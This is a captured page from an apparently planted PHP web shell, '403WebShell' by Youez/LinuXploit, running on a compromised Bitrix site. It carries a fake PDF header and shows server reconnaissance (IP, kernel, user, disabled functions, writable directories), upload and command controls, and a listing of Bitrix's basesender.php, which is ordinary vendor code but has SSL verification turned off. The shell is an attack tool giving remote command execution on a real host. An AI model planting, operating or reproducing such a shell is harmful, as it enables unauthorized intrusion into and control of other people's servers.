%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.218.135.227
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/service/microservice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/service/microservice//basesender.php
<?php

namespace Bitrix\Main\Service\MicroService;

use Bitrix\Main\ArgumentException;
use Bitrix\Main\Error;
use Bitrix\Main\Result;
use Bitrix\Main\Web\HttpClient;
use Bitrix\Main\Web\Json;

/**
 * Class BaseSender
 */
abstract class BaseSender
{
	public function __construct()
	{
	}

	/**
	 * @param string $action
	 * @param array $parameters
	 * @return Result
	 * @throws ArgumentException
	 */
	public function performRequest($action, array $parameters = []): Result
	{
		$result = new Result();

		$httpClient = new HttpClient($this->getHttpClientParameters());

		$url = $this->getServiceUrl() . "/api/?action=".$action;

		$request = [
			"action" => $action,
			"serializedParameters" => base64_encode(gzencode(Json::encode($parameters))),
		];

		$request["BX_TYPE"] = Client::getPortalType();
		$request["BX_LICENCE"] = Client::getLicenseCode();
		$request["SERVER_NAME"] = Client::getServerName();
		$request["BX_HASH"] = Client::signRequest($request);

		$result = $httpClient->query(HttpClient::HTTP_POST, $url, $request);

		return $this->buildResult($httpClient, $result);
	}

	protected function buildResult(HttpClient $httpClient, bool $requestResult): Result
	{
		return $this->createAnswerForJsonResponse(
			$requestResult,
			$httpClient->getResult(),
			$httpClient->getError(),
			$httpClient->getStatus()
		);
	}

	protected function createAnswerForJsonResponse($queryResult, $response, $errors, $status): Result
	{
		$result = new Result();

		if(!$queryResult)
		{
			foreach ($errors as $code => $message)
			{
				$result->addError(new Error($message, $code));
			}

			return $result;
		}

		if($status != 200)
		{
			$result->addError(new Error("Server returned " . $status . " code", "WRONG_SERVER_RESPONSE"));
			return $result;
		}

		if($response == "")
		{
			$result->addError(new Error("Empty server response", "EMPTY_SERVER_RESPONSE"));
			return $result;
		}

		try
		{
			$parsedResponse = Json::decode($response);
		}
		catch (\Exception $e)
		{
			$result->addError(new Error("Could not parse server response. Raw response: " . $response));
			return $result;
		}

		if($parsedResponse["status"] === "error")
		{
			foreach ($parsedResponse["errors"] as $error)
			{
				$result->addError(new Error($error["message"], $error["code"], $error["customData"]));
			}
		}
		else if(is_array($parsedResponse["data"]))
		{
			$result->setData($parsedResponse["data"]);
		}

		return $result;
	}

	/**
	 * @return array
	 */
	public function getHttpClientParameters(): array
	{
		return [
			"socketTimeout" => 10,
			"streamTimeout" => 30,
			"disableSslVerification" => true
		];
	}

	protected abstract function getServiceUrl(): string;
}

Youez - 2016 - github.com/yon3zu
LinuXploit